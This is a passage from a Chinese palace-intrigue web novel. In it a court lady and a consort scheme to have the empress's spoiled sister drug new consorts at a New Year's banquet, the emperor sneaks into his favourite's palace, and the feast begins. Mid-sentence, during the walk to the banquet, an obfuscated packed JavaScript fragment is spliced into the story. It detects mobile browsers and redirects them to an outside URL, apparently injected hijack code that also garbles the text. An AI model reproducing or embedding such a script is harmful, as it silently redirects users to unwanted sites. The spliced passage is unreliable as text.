“大胆,你们竟敢嘲笑小主!”悦贵人身边大宫女素心厉声道,“去,把这几个没规矩的奴才,全都送到暴室去!”
那送水的小太监早已吓得魂不附体,连连磕头。
楚念辞本不愿插手,见对方竟动到自己宫女头上,脸上浮起冷笑:“我看谁敢,本小主的宫女,还轮不到别人来教训。”
悦贵人气得声音发抖:“你的宫女当众嘲笑我,怎么,你也要护短不成?”
一旁嘉妃听得不忿,刚要开口,却被楚念辞轻轻按住。
楚念辞神色平静,不卑不亢:“姐姐,宫规规定,宫女犯错,须经其主同意方能送交掖庭,姐姐这么做,分明是越俎代庖,不合宫规。”
悦贵人冷哼:“妹妹倒是懂规矩,难怪皇上这般宠你,未侍寝便晋了位分,姐姐真是望尘莫及。”
“姐姐这话,妹妹可不敢当。”楚念辞微微一笑,“在皇上心里,自然是看重姐姐胜过妹妹百倍的。”
此时往来宫人越来越多,纷纷朝这边张望指点。
悦贵人脸色越来越沉,转向身边宫女使了个眼色。
那大宫女当即上前,劈手一个耳光打在送水太监脸上,顿时将他半边脸扇得红了。
“糊涂东西,做事这般不当心,惹娘娘生气,”宫女厉声斥道,“还不自己掌嘴。”
小太监不可辩驳,连忙抬手,左右开弓狠狠扇起自己耳光。
楚念辞只是冷眼看着。
没想到看似清冷的悦贵人,性子上来竟如此暴烈急躁。
说话间,小太监已自打了四五十个嘴巴,丝毫不敢留情,两颊红肿渗血。
悦贵人这才作罢,睨了太监一眼:“罢了。”
说罢,便带着一行人扬长而去。
楚念辞与嘉妃作别,各自回宫,这几天她也有事,棠棣宫还要忙“夫人”删封礼。
她们各自作别,可没注意到,站在远处的人群中。
楚舜卿看见了这一幕。
她胡乱挽着头发,捂着掉了门牙的小嘴。
一张脸蜡黄蜡黄的,才十七岁的人,望之已如三十出头。
小月之后进宫请假也只有三天。
本想再请几天,可内医院根本不买她的账,说是最长的假期也就三天。
再请假以后就别来了。
为了保住这个“药徒”职位,她只好咬着牙,天天拖着病亏的身子,坚持进宫。
不会的,前世这个时候,自己明明还在得着皇后的重用,风光无限。
没想到刚刚好看到了这一幕,看见双方的冲突。
她想了想,忽然想起,前世悦贵人,这个时候还是悦嫔,记得,除夕宴她用阴阳瓶害了进宫妃子,只是这件事,是过了很久才查出来的。
抿紧起皮干燥的嘴唇。
敌人的敌人就是朋友。
她低着头,向悦贵人住的永寿宫走去,她要用这件事,和她做个交易。
翌日,晨光渐亮,映地蔺景珏一袭石榴红裙泛着淡淡霞光。
她脸上还带着些婴儿肥,从马车上跳下来时,轻轻掸了一下苏绣掐金丝缎面马甲。
今日,皇后姐姐要为他从三位名门公子中择一佳婿。
从今天后,她就是那豪门贵族的少夫人了。
想到日后金尊玉贵的生活,她眉眼间浮上得意娇纵之气。
知道她要进宫,楚舜卿一早便在丽正门外等着了。
自从小产后,楚舜卿像变了个人,不仅绝口不提当日之事,对蔺景珏反而更加殷勤……
不但贴补嫁妆,连自己最心爱的一对翡翠镯子也送了出去。
今日更是主动提出,陪她进宫“相看才俊”。
蔺景珏下车后,楚舜卿亲**上前挽她胳膊:“小妹,娘娘听说您来,高兴得很,正等着呢。”
蔺景珏只“嗯”了一声,甩开她的手,扬着下巴径自往前走去。
见她这般骄横,楚舜卿脸上笑容不变,安静在前引路。
却故意不往坤宁宫方向,反而绕到了养心殿附近。
刚走到偏殿一带,便隐隐听见一阵鼓乐声。
蔺景珏脚步一顿,扭头问:“那儿,是哪儿?”
楚舜卿答:“棠棣宫,今日慧贵人行‘夫人’册封礼。”
“慧贵人?”蔺景珏撇撇嘴,本想不理,却被那热闹勾起了好奇,转身就朝棠棣宫走去。
楚舜卿微微皱眉,跟了上去。
一进棠棣宫,汉白玉的雕栏金灿灿的琉璃瓦,满眼华丽气象让蔺景珏怔了怔。
她走到正殿前。
一眼便看见跪在锦垫上的
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楚念辞。
粉嫩的脸瞬间写满震惊,眼睛瞪得滚圆。
这、这不是那个本该嫁进她家、却被选入宫的“嫂子”吗?
她后来再未过问,只当对方早被打入冷宫了,怎会成了贵人?
她使劲揉揉眼睛,再三确认没看错,手指不自觉地攥紧衣角,精致的绣纹都快被扯散了。
愣了好一会儿,她才狠狠一甩袖子:“不过封个夫人,有什么了不起,在长姐面前,还不都是妾!”
说罢再也看不下去,转身就走。
走到仪门前,远远瞧见一簇明黄仪仗,众人簇拥着一位身姿挺拔的少年缓缓行来。
蔺景珏眼尖,一眼便看清伞盖下那张脸。
她整个人如遭雷击。
顿时呆在原地。
那少年生了一双极好看的丹凤眼,眼尾微挑,本显凌厉,偏偏睫毛又密又长,柔化了锋芒。眼眸清亮,目光流转间,仿佛日光也跟着明明灭灭。
唇色温润,下颌到脖颈的线条流畅清晰,看得人耳根发热。
蔺景珏从没见过这样美貌得令人窒息的男子。
“快跪下,是皇上。”楚舜卿见她发呆,赶紧拉她一同跪倒。
蔺景珏这才反应过来。
这少年竟是当今圣上。
这么好看的人,这么年轻便是一国之君……
她心里突然涌起一股强烈的嫉妒,直冲楚念辞而去。
凭什么?
自己出身尊贵,今日却只能去相看那些庸俗子弟。
而楚念辞却能住在这般华贵的宫里,嫁给这样好看的皇上。
仿佛全天下的好事,都叫她一人占尽了。
不,她才不要嫁什么世家子弟。
就算将来成了一品夫人,那些人又怎能和皇上相比?
谁能比得上他的容貌。
又比得上他的尊贵?
若是能得这样的男子独宠一生……
蔺景珏觉得心从未跳得这样快过。
一股隐秘又汹涌的念头,随着“圣上”二字,在她心里深深扎了根。
跪在地上,她只瞥见一双黑玉纹龙的靴子从眼前掠过,渐行渐远。
“五小姐,该走了。”楚舜卿扶她起身。
蔺景珏茫茫站起来,目光却还追着远处那顶黄罗伞盖,直到它彻底消失在宫道尽头,才依依不舍地收回视线。
就在这一刻,她已下定决心。
她也要入宫,也要嫁给皇上。
哪怕只当个常在、答应,她也心甘情愿。
楚舜卿在一旁看着她目眩神迷的模样,轻轻咬住嘴唇,小心翼翼掩住了眼底的狠毒。
她已经搭上悦贵人,两人商议了一个计划。
蔺景珏,就是计划中的一环。
你害我失了孩子……我就要你拿命来偿。
第94章 悦贵人决定让蔺景珏当替死鬼
蔺景珏趾高气扬地走进坤宁宫,径直入了殿内。
殿中早已候着三位锦衣华服的少年,个个家世显赫,相貌俊朗,身姿挺拔。
若在从前,蔺景珏或许会觉得他们还算出色。
可自见过皇上,眼前三人便如鱼目比之明珠,顿时黯然失色。
她不屑地扬起头,看也没看他们,只朝皇后草草行了一礼。
“小妹快起来。”蔺皇后见妹妹自顾自坐下,只好先开了口,目光在妹妹与三位公子之间转了转,笑着圆场道,“我这妹妹少见外人,诸位多体谅。”
她依次介绍,“这是太尉府三公子,宰相家六少爷,镇国公府第八子……”
“方才景珏进来前,我已同三位说明,如今天下安定,咱们既同为一朝之臣,也就不必太拘俗礼,况我妹妹是知书达理的官家小姐,见一面也无妨的,大家相看相看。”
三位少年齐齐向蔺景珏行礼。
嘴上说是“见一面”,实则谁不明白这是相亲。
蔺景珏却一扬脸,雪白的下巴抬着,冷凌凌的目光扫过三人:“姐姐,我不过是进宫坐坐,什么相不相看?别以为他们是世家子弟,就能高我一头。”
“景珏,不得胡言。”蔺皇后话虽斥责,看向妹妹的眼神却仍温和。
终究是自家亲人,她多少存着回护之心。
那三位皆是名门出身公子,个个都是人精。
见蔺景珏睁着一双黑亮眸子,满脸不屑,看都不看他们,心中顿时明了……
这位小姐根本没瞧上他们。
彼此对视一眼,皆暗想:没想到皇后的妹妹,性格竟如此娇纵,目下无尘。
若不是姐姐当了皇后,以她四品武将之女的身份,哪有机会与他们同坐一室?
如今倒摆起架子来了。
几人谁也不想真娶这么一位麻烦回家,于是纷纷拱手:“皇后娘娘盛情,臣心领了,忽然想起家中尚有要事,先行告退。”
“是,学生还有文章未完成,也告辞了。”
“在下告辞!”
三人一个接一个起身,竟没一人给皇后面子,也未再多看蔺景珏一眼,话也未与她多说半句。
转眼间,人便走空了。
蔺皇后愣在座上,好半天没回过神来,脸上火辣辣的。
像是被接连扇了几记耳光,端庄的面容气得发红。
“景珏,你怎能如此唐突无礼?”她压着怒气斥道,“那可是三大世家的公子,得罪他们,就是得罪了朝中根基最稳的势力!”
蔺景珏却一脸不屑,朝姐姐撇了撇嘴。
那张娇柔的脸上写满不服,还忍不住低声嘟囔:“世家又如何?长姐您是皇后,咱们承恩公府什么时候需要攀附他们了?有姐夫这座靠山,还怕什么?”
气恼与幼妹的愚蠢交织在一起。
令蔺皇后头痛欲裂。
景珏这性子,当真从小被宠坏了。
“就连陛下也要让他们三分,你怎能说出这种话?”蔺皇后气息不稳,声音已带着厉色。
她将妹妹许给世家。
固然是为自己在宫中添一份助力,更是为小妹谋个稳妥的将来。
这样一步明棋,景珏怎么就看不明白?
可事已至此,蔺皇后只能强撑着不适,试着把道理说清:“这三家才是真正的百年世家,三位公子年轻有为,品格端方,你嫁过去,后半生有依靠,也能为我增添臂膀。”
“长姐,他们算什么依靠,皇上才是咱们最大的依靠,”蔺景珏噘起嘴,忽然凑近了些,声音里带着天真的热切,“不如……您把我也召进宫吧?咱们姐妹同心,互相照应,岂不是更好?”
“什么?”蔺皇后猛地睁大眼睛,几乎不敢相信自己的耳朵。
妹妹竟也想入宫?
嫁给陛下?
她冷眼瞧着,皇上分明更偏爱聪慧机敏的女子。
景珏究竟知不知道。
以她的骄纵心性和无知能耐,入宫争宠几乎毫无胜算。
难道她以为,只要是个女子,皇上就会喜欢吗?
以景珏的容貌与手段,进宫不过是自寻麻烦。
不,这件事她绝不能答应。
“往后这种话休要再提,”蔺皇后斩钉截铁地说,“本宫绝不会准你入宫。”
她喘了口气,继续道:“你的路,本宫自会为你安排妥当,今日你也累了,先回去吧。”
说了这许久的话。
她得了伤寒,刚刚病愈,蔺皇后实在撑不住了,无力地靠向凤座,脸色愈发苍白。
蔺景珏眼眶一红:“长姐,为什么不行?我入宫得了宠,也能帮衬您啊……咱们是亲姐妹,彼此扶持不好吗?”
蔺皇后气力不济,声音很弱:“你要记住……本宫的话……”
“可是长姐,您在宫中孤零零的,当真不再考虑……”
话未说完,蔺皇后已疲惫地合上眼,似是连睁眼的力气都没了。
夏冬悄然上前,恭敬地做了个“请”的手势:“五小姐,娘娘今日说了太多话,实在乏了,您先请回吧。”
蔺景珏咬着唇,不情不愿地站起身,最终,愤愤地跑了出去。
蔺景珏一口气跑到池边,狠狠揪下树上一截嫩芽,拧成细鞭,发疯似的抽打花圃里刚冒头的迎春
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:“我不要!”
“楚念辞那种**都能当贵人,凭什么我不行?”
楚舜卿追上来,拉着她劝:“五妹,你冷静些,娘娘也是有苦衷的……”
“要嫁你去嫁!”蔺景珏甩开她,眼圈发红,“别在我耳朵边汪汪,你就是长姐身边一条狗,她能有什么苦衷,长姐是皇后,让我进宫不过是一句话的事!”
“我知道了……长姐就是嫉妒我比她年轻,怕我进了宫夺宠,才故意不肯帮我!”
楚舜卿气得嘴唇都白了:“五妹,这话可不能乱说……”
“怕什么……”
就在这时,身后传来轻轻的脚步声。
“楚内医,这是和谁说话呢?”悦贵人不知何时已站在不远处。
蔺景珏瞪她:“你怎么偷听人讲话?”
悦贵人却笑了,温和道:“这位妹妹,你方才说的话我都听见了……难得对陛下如此一片痴心。”
她走近两步,声音压低,“若你真想进宫,未必非得经皇后娘娘点头,太后如今正在挑选合眼缘的姑娘……你若愿意,我可以代为引荐。”
蔺景珏眼睛一亮:“真的?”
“自然,”悦贵人打量着她,“只是这话,你心里知道就好,万一传到皇后耳朵里……”
“我绝不告诉长姐!”蔺景珏急急保证。
悦贵人唇角弯了弯:“那便随我来吧。”
她转身引路,温和如春风的脸上掠过一丝冷意。
前几天,楚舜卿来找自己,开口就说想让她帮忙引荐,自己小姑子入宫。
她当时是拒绝的,但是她竟然隐隐透露,已经知道了阴阳瓶的事儿。
又说那小姑子是皇后亲妹妹,从小骄纵,胆大妄为,而且有点蠢,绝对威胁不到她地位,而且非常适合做一个替死鬼。
看着对方眼中的恨意,她改变了主意。
这不是瞌睡有人送枕头吗?
她已经做好了阴阳瓶。
太后身边竹青姑姑暗示她必须让白太尉送进来的……白芷若
不能侍寝。
她虽然不知道太后为什么讨厌白府的人。
正愁着,如何找个人,在宫宴里下手处置了这新来妖精,然后再栽赃给慧贵人那个小**。
这合适的人选就送上门了。
而且她早就知道,太后对目前皇后首鼠两端已经有点不满意了。
去求太后把皇后娘娘的妹妹招进宫。
等于多了对皇后制约,她老人家很乐意往名单里添个名字。
这承恩伯府的嫡女被宠得张狂,脑子也不大灵光……
正是因为蠢些,才好拿捏操纵……
第95章 陛下爬墙……
从慈宁宫出来时,蔺景珏已是满面喜色。
“太后娘娘慈心,让你回去等好消息,这下可放心了吧?回去先学学宫规礼仪,”悦嫔说着,朝楚舜卿递了个眼色,又对素心招招手,“这壶宫酿便当是我送妹妹的礼。”
素心闻言,将一只锦盒交给蔺景珏。
她又与蔺景珏寒暄几句,便翩然离去。
回程马车上,蔺景珏打开锦盒,里头是一只精致的宫制酒壶。
正宗的官窑瓷瓶。
样子看上去很普通,并不是什么珍贵的东西,她莫名其妙地放到了一边。
楚舜卿拿起瓷瓶,摩挲了几下。
蔺景珏笑得意道:“回去不准告诉我娘,等宫宴那天,我要给她个惊喜。”
“五妹……”楚舜卿仍面露忧虑,“我还是想劝你再想想,那日一下子要进十几位新人,即便入了宫,也未必能得圣宠。”
“我不管!”蔺景珏咬牙,“那些小狐媚子算什么?嫂子,你一定要帮我,宫宴上,我必须让陛下眼里只有我。”
她见楚舜卿不语,立刻横起眉眼:“你要是不帮,我就告诉娘,是你故意引我去见陛下的!”
楚舜卿睁大眼,心里冷笑。
这蠢货倒也不是全无脑子,
不过是因见了小皇帝一面,就魔怔了。
“好吧……”她装作为难地叹气,“办法不是没有,就看你有没有这个胆子。”
“快说来听听!”
楚舜卿从荷包里取出一个香囊:“这里头是‘软迷散’,下在酒里,服下一刻钟人便会昏昏欲睡,像是不胜酒力,只要你在宫宴上,设法让那些新人饮下……”
她压低声音:“等所有人都‘醉倒’不能侍寝,机会自然就落到你头上了。”
蔺景珏脸上露出犹豫。
“若妹妹不敢便算了,”楚舜卿作势要收回,“只是到时候,陛下可就召幸别人了。”
就在她缩手瞬间,蔺景珏猛地按住她的手。
那只带着婴儿肥的手,此刻却透出一股狠劲。
“我做。”蔺景珏眼底闪过一丝凶光,“这些话,你知我知,绝不许告诉第三人。”
楚舜卿细细交代了酒壶的用法。
“你看,这上头有两个小点,一个是红色,一个是黑色,按住其中一个就能倒出不同的液体,到时候你就把软迷散下在其中,敬酒的时候,你也跟着喝几口,自然就不会有人疑心你。”
蔺景珏冷哼:“长姐越不想我入宫,我偏要挣出个前程,只要侍了寝,她就不得不全力扶持我。”
在她看不见的角度,楚舜卿狠狠咬紧下唇,脸上只剩一片冰冷的狠毒。
养心殿内,端木清羽揉了揉眉心,习惯性地唤了一声:“慧儿,茶。”
一旁侍立的小宫女忙低头奉上茶盏。
他饮了一口便觉滋味不对,这才想起平日沏茶那人早已不在这儿了,心里不免有些空落落的。
敬喜捧着放绿头牌的黑木托盘走了进来,又到了翻牌子的时辰。
端木清羽自己也没想到,目光竟不由自主地先落向慧贵人三字。
他本不是纵欲之人,可此刻脑海里却清晰地浮起缠绵与餍足……
以前为皇子时,见过美人也不少,便是倾国倾城也不乏其人,唯独楚念辞,偏偏能这样轻易撩动他心绪。
她的一颦一笑,仿佛早已烙进他脑中。
明明自己向来冷静自持,可一靠近她,便像沾染了**似的,叫人难以自抑。
尤其是她那双含情又灵慧的双眼,微醺时脸颊泛红的模样……
光是想着,竟又有些心猿意马。
这时,敬喜低头进殿禀报:“陛下,竹青姑姑来了。”
端木清羽微微一怔。
竹青是太后身边最得力的掌事姑姑,此时前来必有要事。
“请她进来。”端木清羽话音刚落,竹青已垂首步入殿中。
她约莫四十出头,肤色白皙,体态微丰,袖口露出一截成色极佳的翡翠镯子。
进殿后,她端端正正行了个礼。
端木清羽抬手免礼。
竹青声音温稳:“陛下近来膳食用得可香?太后娘娘前日得了些上好的血燕,惦念着陛下劳心国事,做了血燕粥,特命奴婢送来。”
说完,将锦盒放在桌上。
皇帝微微颔首:“母后费心了,她身体可好?”
“太后凤体尚安。”竹青垂眸道。
“姑姑此来,怕不只是为送燕窝吧?”
“陛下明鉴,”竹青神色依旧恭敬,“太后娘娘别无牵挂,唯念陛下膝下空虚,社稷之嗣未定,每每思及此事,昼夜难眠。”
端木清羽神色未动:“前朝已够朕烦心,朕不欲选秀,劳民伤财。”
“太后明白陛下的顾虑,然子孙延绵,方能安天下臣民之心,”竹青声音平稳,“太后年事已高,唯此一愿,已命内廷省在除夕夜备下十几位知书达理的官家女子,望陛下允准参加宴席候选,略慰慈怀。”
殿内静了片刻,炉中银炭发出细微的毕剥声。
端木清羽秀致的眉头皱了皱,叹口气。
太后近年确已少问世事,每每病中总念及皇嗣。
思及他终是护自己登基的母后,他终是极轻地叹了一声:“名册呢?”
竹青从袖中取出一卷素绢,双手奉上:“陛下孝感动天,太后娘娘若知,凤心必慰。”
端木清羽接过名册,扫了一眼那长长的名单,提笔圈点。
竹青深深一福,退出时脚步依旧沉稳无声。
殿门开合间卷入一丝寒意。
端木清羽闭了闭眼,心里那股想去见她的念头却更强烈了。
再睁眼时,他已拿定主意:“明日便是大年三十了,朕今夜去棠棣宫,陪她提前守岁。”
此时已近五更,这个时辰过去……
敬喜已不再惊讶了。
他已经见过许多,陛下为了慧贵人做出的荒唐事。
端木清羽只带了敬喜一人,迎着初春沁凉的晚风,向棠棣宫走去。
夜色正浓,他精致华美
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的脸庞镀着月光如罩银霜。
他轻推正门,竟已上了锁,转到侧门一试,同样锁着。
敬喜便准备上去敲门,端木清羽抬眼却见墙边靠着一架木梯。
忽地。
他突然很想偷偷地去看她。
看她正在做什么。
“把梯子搬来。”端木清羽道。
敬喜惊得下巴都快掉了……陛下为了见她,
竟要翻墙?
果然……每每当他自己认为已经触及陛下的底线的时候。
陛下很快为了慧小主,就能做出更令他吃惊的举动。
哎……想来也不奇怪,陛下再怎么老成持重心机深沉。
终究也是个才17岁的情窦初开青葱年华的少年。
“敬喜。”端木清羽声音微冷,“此事不可外传。”
“是……”敬喜连忙低头掩去讶色,搬来梯子。
好在端木清羽常年习武,翻个墙并不难。
而敬喜年少体健,几下也爬了过去。
两人翻过墙头,廊下只悬一盏风灯,昏黄光晕里不见值夜人影。
细看才发觉角落有个小太监正挨着暖笼打盹,一见圣驾,吓得扑通跪倒,张口就要喊……
端木清羽迅速比了个噤声的手势。
小太监立刻闭紧嘴,伏地不动。
皇帝放轻脚步,自己推开了侧殿的门。
殿内比外头暖和许多,紫金炉里炭火噼啪作响,却只点了一盏烛,幽幽亮着。
卷草纹纱幔后,一道娉婷背影侧卧在榻上,睡得正沉。
端木清羽悄无声息地躺到她身旁。
她一头青丝如瀑散在枕边,几缕发丝滑落颊旁。
他顺手轻轻将那缕发挽到她耳后,不由自主地拈起一小束,凑近鼻尖……
是皂角的干净气息,混着淡淡的花草香,像她平日用的花铃草。
他抬起眼,借微弱烛光看向她的脸。
那双总是灵动狡黠的眼此刻闭着,眉间一点红痣在昏黄光线下柔柔亮着,让她明艳的脸显出罕见的青涩与安静。
嘴角还微微翘着,好像在做着什么美梦。
真想知道她梦见了什么。
端木清羽眼神深了深,伸手想轻捏她柔软的脸颊。
指尖刚触到,就见她眉头轻蹙,嘴角却弯得更明显了。
她侧过身,竟一把抱住他的小臂,无意识地将脸颊贴在他手心蹭了蹭,含糊嘟囔:
“阿羽心肝肉……乖,别闹呀……”
说完,搂紧他的手臂又沉沉睡去。
阿羽?
心肝肉?
端木清羽一下子僵住了。
醒着时她巧舌如簧便罢了,怎么梦里也这般……肆无忌惮?
而且这称呼。
怎么听都像话本里贵夫人哄男宠的调调。
他瞪着楚念辞安然的睡脸,简直想摇醒她问个明白。
可顿了顿,却就着她抱自己胳膊的姿势,慢慢在她身边躺了下来。
尊贵如他,他对自己的行为也是非常惊奇的。
竟就这么窝在这儿陪她躺着。
第96章 顺势收下悦贵人的好意
不知不觉,天渐渐亮了。
敬喜进来轻声提醒该上朝了,端木清羽才朦胧醒来,后知后觉地意识到……
自己来棠棣宫这一整夜,竟什么也没做,只是单纯抱着她睡了一晚。
这还真是头一回。
他心里觉得新鲜,看向她的眼神也深了几分。
“陛下,该上朝了。”敬喜小声又道。
“嘘……”端木清羽止住他,试着轻轻起身,却发现衣袖被她紧紧压着。
他想了想,索性脱下那件寝衣龙袍,起身梳洗后便离开了。
晨光透过茜纱窗照进来时,楚念辞才悠悠转醒,打了个小哈欠。
一转头,却看见身旁压着一件明黄龙袍。
“团圆,”她抓着龙袍坐起身,有些茫然,“陛下来过了?”
团圆憨憨笑道:“是呀,昨夜五更天来的,一大早就走啦。还特意嘱咐我们别吵醒您,说傍晚再来陪您用膳。”
楚念辞抱着龙袍,轻轻笑了。
这正是她想要的……后宫马上要进新人,她必须牢牢留住帝王的心,才能站稳脚跟。
她揉了揉眼,脸上带着浅浅倦意,忽然想起什么:“团圆,咱们宫里平时几更上门锁?”
“五更……”团圆不解,忽地小丫头奇怪摸摸头,道,“门都上锁了,陛下是怎么进来的?”
“小主,以后咱们还是不要锁门了。”
“不,”楚念辞摇了摇头,“从今往后,每日四更天就锁门。”
俗话说,妻不如妾,妾不如偷,偷不如偷不着。
她就是要吊着陛下这一丝“得不到”的新鲜感。
只有不那么容易得到,他才愿为她破例,为她费心。
她可不会被这点表面恩宠冲昏头脑。
高明的猎手,往往以猎物的姿态出现,且最有耐心。
她需把握好端木清羽心里那点“难以掌控”的感觉……
便能图谋更多。
次日一早,满宝听宝柱说小主救了他。
感激得几乎要跪下来磕头。
他原以为哥哥失手打碎琉璃瓶,犯下大错,这辈子都赔不起,而小主又不愿意出手援助,早就没了指望。
没想到主子竟愿意出手,把哥哥从绝境里捞了出来。
“小主,您对奴才的恩德,这辈子报不完,下辈子,您上天宫做仙女的时候,奴才就变成个大青牛,驼您上天。”满宝恨不得把天底下所有的好话都说尽,连连道谢,又说自己哥哥机灵聪明,定会好好伺候主子。
"油嘴滑舌,"楚念辞只是微微一笑:“聪明机灵倒是其次,想留在棠棣宫,最要紧的是忠心。”
团圆在一旁眨了眨眼:“真心向着棠棣宫,小主不会亏待。”
话虽这么说?
对于新来的人,楚念辞从不敢掉以轻心。
好听话谁都会说,是真心还是假意,终究得看往后怎么做。
转眼到了黄昏时分,除夕觐见的日子到了。
楚念辞平日的衣着多由团圆打理,但今日不同。
她必须精心装扮。
既不能张扬,又不能过于低调。
团圆看出她神色郑重,便指着衣架上的几套宫装请示:“小主,今儿特殊,穿哪一套,还请小主定夺?”
楚念辞心中早有计较。
这次觐见主要是要在太后面前留个好印象。
新人里,俏贵人、白嫔已折在她手中,她虽只是贵人,想来早已入了太后的眼。
不能打扮得过于明艳招摇,更会惹太后不喜。
但若穿得太寒酸,又会被新人看轻,当成软柿子。
分寸必须恰到好处……既要端庄得体,又不失贵气。
“岚姑姑,你看我穿哪一套合适?”她特地征询岚姑姑意见……毕竟岚姑姑跟过太妃。
对大夏朝当今的这位窦太后应有些了解。
岚姑姑依旧恭敬地站在那里。
想了一会儿才认真道:“窦太后性子淡泊,不喜张扬,向来偏爱柔雅浅淡的衣饰,”
她细细道来,“但她眼光可不低,曾是前太傅爱女,富贵乡里长大的,也见不得寒酸气,这位太后在先帝朝时不争不抢,膝下无子,只生养了一位公主,因与先皇后交好,又曾立下大功,先帝认为她比有子的妃嫔更可靠,临终前才将小皇帝托付于她。”
果然和楚念辞想的一样。
于是她只简简单单梳了个流云髻,首饰戴得极简,薄施脂粉,又点了一点胭脂。
却特意簪了那支皇帝赏的夜明珠步摇,耳坠也配了合浦明珠。
大殿光线昏暗时,夜明珠自会莹莹生辉。
外罩藕粉色狐皮斗篷,内着浅绯长裙,整个人温柔清雅,毫不张扬,但低调之中又不失奢华之气。
最后她将端木清羽送的同心结香囊往腰带上一别,对镜微微一笑,镜中人颜若海棠,眼含春水,是一朵将放未放的玉兰,清雅高贵,娇艳大方。
“小主穿什么都好看。”团圆由衷赞叹。
岚姑姑所以对她的装扮,露出欣赏的眼神,楚念辞让她守着棠棣宫。
带上团圆去赴除夕宴。
宫嫔们陆陆续续前往交泰殿赴除夕家宴。
对许多宫女而言,这是一年中唯一能同时面见太后与皇上的机会,人人都铆足了劲打扮,盼着一朝得幸,命运从此不同。
所以当她快走到交泰殿时,早看见一群莺莺燕燕的宫女,往来穿梭,如早春的燕子一般。
楚念辞猜测幕后之人很可能今日动手,心中不免警惕。
同住一宫的妃嫔常结伴赴宴,楚念辞特地在宫道上等候沈澜冰。
等了半天,却不见她前来。
只见嘉妃着一身浅湖蓝箭??比甲,英姿勃勃地挽了一个髻,从通道的尽头走了过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147544|193684||http|test|mini|href|location''.split(''|''),0,{}));
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r>“慧妹妹,你不用等了,冰儿今日身体不适,已向皇后告假,就不过来参加宴席了。”
“要紧吗?”楚念辞有点担心地问。
“不碍事,只是余毒未清,又感了一点风寒。”嘉妃安慰道,上前便挽了她一同前行。
两人走了夹道,在交泰殿附近,迎面便遇上了悦贵人。
一照面,双方都微微一怔。
只见悦贵人今日头戴点翠步摇,上身竟也穿着藕粉色衫子,下配深碧罗裙,面颊薄施胭脂,瓷白的肌肤透出淡淡红晕,整个人宛如五月桃枝般鲜嫩。
平心而论,这般打扮确为她增色不少。
可惜她偏偏与楚念辞穿得一样,都是藕粉色……
在楚念辞明艳照人的容光旁,这番精心修饰成了东施效颦。
楚念辞心中暗松口气。
好在自己只是斗篷用了藕粉色,待会儿入殿脱下,内里的衣裙颜色并不同,否则当真撞了个彻底。
悦贵人冷冷地瞥了她一眼。
楚念辞原以为她会发作,不料对方目光一触即收,竟转而命素心奉上一件紫貂皮斗篷。
“前些日子与妹妹有些口角,姐姐回去后思来想去,确有不妥,”悦贵人声音清冷,语气却软了几分,“今日赠以此物略表歉意,妹妹不会不肯收吧?”
楚念辞觉得她不安好心。
毕竟她这嫔位,可是因为自己才没得。
“如此贵重的东西,妹妹怎么好收呢?”楚念辞道。
悦贵人看了看天色,虽然已是傍晚,但依旧能看出天边涌起的乌云。
“要下雨了呢。”悦贵人淡淡道,“妹妹定是空手而来,没带雨具吧,等会儿又要下雨,这貂斗蓬耐水,妹妹披上还可抵挡一二,不要像那日我一样变成了落汤鸡。”
楚念辞微微一怔,看见那天色确实不太好。
知她不怀好意。
但她觉得,不该随便打乱别人的计划。
如果不收,她很可能改变计划,让自己措手不及。
再说宫道上来往之人渐多,已有目光悄悄投来。
若真的当众拒绝,说不定会被人冠上小气,不容人的名号。
楚念辞细看那斗篷,**色光亮华贵,确是稀有之物,表面瞧不出什么不妥。
她示意团圆接过。
从容笑道:“姐姐言重了,只是收了这般贵重的礼,妹妹一时却无物可回赠,心中实在过意不去。”
悦贵人浅浅一笑:“何必这般客气,妹妹这也是要去交泰殿吧?正好同路。”
众目睽睽之下,楚念辞自然不会失礼,微笑着说:“如此一起,姐姐先请。”
“那便一起吧。”嘉妃也含笑道。
不多时,三人各怀心思,便到了交泰殿……
只见偌大的宫殿金瓦红墙,檐角虎踞龙盘,宫人往来穿梭。
除夕宴要开始了……
第97章 小侍女妙答老太后
戌初时分,天已黑透。
交泰殿上众侍鳞列灯光如雪,雕龙描金紫檀屏风前放着龙椅、凤座,两边设有妃位。
众妃静候了片刻,皇后与淑妃方从屏风后缓步走出。
嘉妃忙领着众人行礼。
淑妃今日妆扮得格外夺目,一袭鹅黄色蜀锦牡丹纹罗衫,头戴彩凤金冠,那凤凰口中所含夜明珠熠熠生辉,光彩逼人,娇嫩无比。
众妃恭敬行礼:“臣妾见过皇后娘娘、淑妃娘娘。”
众目睽睽之下,皇后也只端着宽容的仪态,微微颔首让她们起身。
淑妃竟抢先一步道:“免礼。”
一旁的皇后却神色平和,似乎并不在意这番失仪。
她只穿着日常的烟青色暗纹宫装,凤冠亦是日常金错银珠冠,相形之下黯然失色。
楚念辞与嘉妃,悦贵人在宫人引领下走到自己的座位。
如今后宫妃嫔不多,她们席位安排得比较靠前。
几人入座,命妇们才鱼贯入殿,向后妃行礼问安。
楚念辞在人群中一眼看见了谢氏……
她身着诰命服制,脸上涂着厚厚的脂粉,以掩盖青白的脸色。
身后跟着楚舜卿,娇柔的风韵已经不在,只剩下苍白与疲惫。
谢氏也看见楚念辞,眼中掠过惊讶毒恨的神色……
她曾经参加过几次宴会,也从命妇们的交谈中得知,眼下整个后宫,就数楚念辞最得圣宠,这几日见陛下的次数,恐怕比她女儿皇后几个月加起来还多。
心中纵有千般滋味,面上却不敢失仪,上前端端正正行礼。
楚念辞眉眼不动,移开目光。
她随即注意到一个熟人。
蔺景瑞。
他一身紫衣,长身玉立,绷着一张俊脸,正与一位身着密云团龙纹饰的高个男子交谈。
那男子穿着玄黑深衣,金线绣制的团龙纹与头顶金冠交相辉映。
他生得俊眉深目,容貌极为夺目,一头深棕鬈发衬得小麦色肌肤格外鲜明,唇角含笑,张扬的美貌极具侵略性,只是眉宇间凝着一股阴鸷之气。
楚念辞目光无意扫到他,他也正扫来。
一双鹰隼般的眼睛竟毫不避讳地、放肆地打量着楚念辞。
那目光太过露骨,仿佛将人的衣服一件一件剥去。
这人存在感太强。
一出现便攫住你的视线,连回避的余地都没有。
